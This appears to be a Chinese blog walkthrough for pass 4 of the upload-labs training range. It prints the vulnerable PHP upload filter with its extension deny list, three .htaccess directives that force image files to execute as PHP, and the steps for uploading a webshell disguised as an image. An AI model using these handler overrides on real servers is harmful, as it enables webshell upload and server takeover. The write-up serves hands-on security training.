一、实验环境
- PHPstudy
- php5.6以下不带nts的版本
- upload-labs-master上传漏洞靶场
- 服务器没有禁止.htaccess文件的上传,且服务商允许用户使用自定义.htaccess文件
二、原理
原理:
.htaccess
文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride
指令来设置。
二、源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext);
$file_ext = str_ireplace('::$DATA', '', $file_ext);
$file_ext = trim($file_ext);
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件!
四、.htaccess文件内容
.htaccess文件解析规则的增加,是可以按照组合的方式去做的,不过具体得自己多测试。
第一种、虽然好用,但是会误伤其他正常文件,容易被发现
<IfModule mime_module>
AddHandler php5-script .gif
SetHandler application/x-httpd-php
</IfModule>
- 1
- 2
- 3
- 4
- 5
第二种、精确控制能被解析成php代码的文件,不容易被发现
<FilesMatch "evil.gif">
SetHandler application/x-httpd-php
AddHandler php5-script .gif
</FilesMatch>
- 1
- 2
- 3
- 4
- 5
第三种、同1没太大区别
<IfModule mime_module>
AddType application/x-httpd-php .gif
</IfModule>
- 1
- 2
- 3
- 4
利用方式:上传覆盖.htaccess
文件,重写解析规则,将上传的带有脚本马的图片以脚本方式解析。
五、上传木马
第一步:
准备好.htaccess
文件,内容为SetHandler application/x-httpd-php
,当前目录下所有文件都会被解析成php代码执行
选择upload-labs的第四关上传写好的.htaccess文件
这里使用第一种方法
<IfModule mime_module>
SetHandler application/x-httpd-php
</IfModule>
- 1
- 2
- 3
第二步:
上传一个后缀名单之外的木马,例如:.jpg的图片马
这里直接通过burpsuite改包进行上传。
参考:https://blog.csdn.net/weixin_45728976/article/details/104363400
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论